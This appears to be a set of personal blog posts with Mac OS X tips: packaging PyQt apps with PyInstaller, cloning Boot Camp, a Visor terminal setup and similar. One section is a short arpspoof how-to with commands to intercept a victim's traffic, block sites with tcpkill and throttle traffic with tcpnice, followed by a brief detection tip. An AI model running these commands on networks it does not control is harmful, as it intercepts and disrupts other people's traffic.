But in this case, it’s not too bad. You can use pyOBD, an Python open-source project. You just need some packages from MacPorts

sudo install py26-serial
sudo install py26-wxpython

Download and unpack the source code. And run directly with

pythonw pyobd

p.s. you need X11

When something goes wrong and you run out of memory on Mac OS X, the system puts your existing applications to pause to prevent the system from becoming unstable. After taking care of the problem and freeing more memory, you might notice that the applications you had are still frozen. To unpause them, find their PID using ps and use the kill command to revive it (irony)

kill -CONT 111

Of course, 111 here is replaced with the PID you found with ps

And then, I was slacking off while studying for my final and out of nowhere I found PyInstaller‘s explicit support for PyQt and its recent support for the mac. And after trying, almost everything works out without much of a kink. Credit goes to ChrisWayg who produced an amazingly complete and up-to-date set of instructions to follow. I’m merely telling how my application did using his instructions (April 2010) and hopefully doing my part to draw more attention to the excellent PyInstaller.

My Application

A PyQt application to help photographers apply custom watermarks in a manual but in an assisted way.

Uses:

• PIL 1.1.7
• Qt4 4.6.2
• PyQt4 4.7.2
• SIP 4.10.1

All from MacPorts on Python 2.6.5, OSX 10.6.3.

Prepare PyInstaller

PyInstaller is kinda special in that it’s not installed anywhere. It’s just a bunch of Python scripts that work on stuff in place. While you’re at it, read the manual.

svn co http://svn.pyinstaller.org/trunk ~/PyInstaller

Or put it somewhere you want.

Then you need to build the bootloaders. If you’re making PyQt applications, you probably have XCode already. Anyway, you need it.

cd source/linux
python Make.py
make
cd ..
python Configure.py

Making your Application

So far, PyInstaller has a problem of not showing your application at the front when you run it. You can fix it in your own code by adding

form.raise_()

right after

form.show()

with “form” being whatever you called your instance of MainWindow().

Like with py2app, you gotta first make a “spec file”.

python Makespec.py --onefile /path/to/YourApplication.py

This will make a YourApplication/YourApplication.spec file in your PyInstaller folder.
To make it work on mac, add

import sys
if sys.platform.startswith("darwin"):
    app = BUNDLE(exe,
                 appname='WhateverYouWantToCallIt',
                 version=1)

at the bottom.

For my application, it made 70 files inside the .app file on default. –onefile makes it more neat and 3 times smaller in size! but it does make it a bit slower. If you care to make it as fast as possible, leave out that option but you have to fix a bug yourself.

Finally, build the application!

python Build.py YourApplication/YourApplication.spec

This will make your application and leave a YourApplication.app in your PyInstaller folder.

Fix the Application

Put your own nice icon on the application. Copy your graphic, right-click your application and choose Get Info, click the icon and paste the graphic.

Open the content of your application, open Contents/Info.plist, uncheck “Application is background only” and save. If you’re using a plain text editor, change LSBackgroundOnly to false.

There is only one last problem to deal with on mac. You have to copy the qt_menu.nib file.

locate qt_menu.nib

to find it. If you use MacPorts, it’s probably somewhere like /opt/local/libexec/qt4-mac/lib/QtGui.framework/Versions/4/Resources/qt_menu.nib

Copy it to your YourApplication.app/Contents/Resources

Boom, you can double click your application and it will run!

Ok, one last problem, I swear. When you run, it shows 2 icons on the dock… pretty ugly. This hack can fix it, but it’s not perfect as it leaves junk on your computer. Hopefully PyInstaller can address it soon.

Conclusion

The program is beautiful! You don’t have to worry about your Python plug-ins, your 64-bitness, anything (mostly). It just works. I have yet to figure out how to make 32-bit binaries on 64-bit systems and how to make upx work properly to reduce executable size. I’m currently running at 32mb for an application that really should be 1mb. But then again, it’s packaging a whole new GUI framework that doesn’t exist on the target computer with the application. Consider Skype (yes, it’s infinitely more complex than my thing), it is still 43mb.

Winclone is an excellent free tool that lets you do just that! Unfortunately there wasn’t much confirmation on the inter-web that it has been done with Snow Leopard and Windows 7 64-bit. So I tried just that and it worked flawlessly!

1. Get the software from the website
2. Go in preferences, back up to dmg but uncompressed. Remove the pagefile.sys and keep BCD and boot.ini checkboxes
3. Select your bootcamp drive as source and save image to an external hard drive
4. Put in your new drive and get your OS X working
5. Use the bootcamp assistant to make a new bootcamp partition of whichever size you want
6. Get Winclone again, go to restore, select your previous image and your new partition to restore to
7. Boot! The disk check might take a while…

To arpspoof, turn on IP forwarding:

echo 1 > /proc/sys/net/ipv4/ip_forward

with Linux (might need su) or more permanently,

net.ipv4.ip_forward = 1

in /etc/sysctl.conf

In BSD/Mac OS X,

sysctl -w net.inet.ip.forwarding=1

or

net.inet.ip.forwarding = 1

in /etc/sysctl.conf

Alternatively, you can also use fragrouter to forward packets with

fragrouter -B1

Then to arpspoof

arpspoof -t [victim ip] [gateway ip]

arpspoof -t [gateway ip] [victim ip]

Optionally, add

& > /dev/null

to get rid of output. Trust me, there’s nothing interesting.

To block sites/ports:

tcpkill -9 host www.facebook.com or port 5432

To slow down traffic:

tcpnice net 10.0.0.2 or port 5432

Filter expressions are here

The easiest way to detect this spoofing is to ping something outside your gateway and look for redirects

1. Get the latest versions of PyQt and SIP. You need Qt installed of course.
2. Configure SIP using

python configure.py --arch i386

3. Configure PyQt using

python configure.py --use-arch=i386

4. Finally, make sure your python is running in 32-bit mode because current Qt doesn’t support 64-bit mode. Add

   export VERSIONER_PYTHON_PREFER_32_BIT=yes

   to your .bash_profile in your home directory

5. If your Python still refuses to run in 32 bit mode, try

   arch -i386 python

open .

So after applying the Perfect Visor from my previous blog post, this can be even faster to navigate to awkward Mac style directories than remembering the even more awkward Finder key combo to “Go to Folder”

open ~/Library/Logs/CrashReporter/

Because you can tab-complete or to go hidden folders

Visor Terminal

The drop-down Quake-style terminal window is extremely convenient to run commands without disrupting the current workflow. Unfortunately the default install is very messy. It needs an open terminal program running in the background which can’t be closed and takes up valuable Dock space.

Then comes a blog from David Zülke who solved the problem with a hack which essentially creates a second terminal program, links the visor extension to it and makes that second terminal always invisible and not appearing in the Dock by playing with the Info.plist file. The world was beautiful until I bought a new Macbook and tried to reinstall Visor but only to find out that his instructions are no longer hosted. So here are the instructions again for those who want a Perfect Visor. This is for version 1.5 – 2.2 which runs on Leopard – Snow Leopard.

1. Install SIMBL
2. This is not necessary but it’s a lot easier if you have XCode to use its .plist editor tool.
3. Right-click the extracted “Visor” file, select “Show Package Contents” and double-click “Info.plist” in the “Contents” folder[1]. Go to Root, SIMBLTargetApplications, 0 and change BundleIdentifier to “com.apple.VisorTerminal”. Save and close. You can now install the bundle according to the Visor install instructions (i.e. move it to ~/Library/Application Support/SIMBL/Plugins or the “global” equivalent in /Library).
4. Go to your Applications/Utilities folder and duplicate Terminal. Rename the copy to “VisorTerminal”, then right-click it and choose “Show Package Contents”, and double-click “Info.plist” in the “Contents” folder. Go to Root and change CFBundleIdentifier to “com.apple.VisorTerminal”. Save and close.
5. Start VisorTerminal. Go to Terminal menu and click Visor Preferences. Customize it to your suiting.
6. Make it run on start up. You can right click the VisorTerminal on Dock and choose “Open at Login”
7. Make it invisible. Right-click the VisorTerminal, choose “Show Package contents” and double-click Info.plist in the Contents folder. Add a new Sibling inside the root element called LSUIElement, it must be of type “Number” and have the value “1″ (without the quotes, of course). Save and quit.
8. Done and done! Now the Visor will start on startup and won’t show up anywhere until you press the hotkey.  If you don’t like your previous preferences, you can’t right click or use menu anymore but pressing cmd-, will bring up the preferences window for the terminal

Currently, there’s a bug with SIMBL 0.97 that causes the application to stop using SIMBL when LSUIElement is set to 1. To solve this issue, use AppleScript with the following command:

tell application "VisorTerminal"
	inject SIMBL into Snow Leopard
	activate
end tell

Then save the script as a .app in a desired location. Make this run at startup instead of VisorTerminal.

The next steps are optional but your default Darwin terminal prompt  looks like shit. Here’s how to customize it.

1. Press your hotkey or open Terminal
2. Go to your home directory

   cd ~

   You are there by default

3. Change your profile file

   mate .bash_profile

   TextMate is my favorite editor. If you don’t use it, use nano instead of mate

4. Type

   export PS1 = " "

   And customize your prompt with the following keywords between the quotes

   • \d – Current date
   • \t – Current time
   • \h – Host name
   • \# – Command number
   • \u – User name
   • \W – Current working directory (ie: Desktop/)
   • \w – Current working directory, full path (ie: /Users/Admin/Desktop)

   ie.

   export PS1="\u@\h\w: "

5. Save and restart your terminal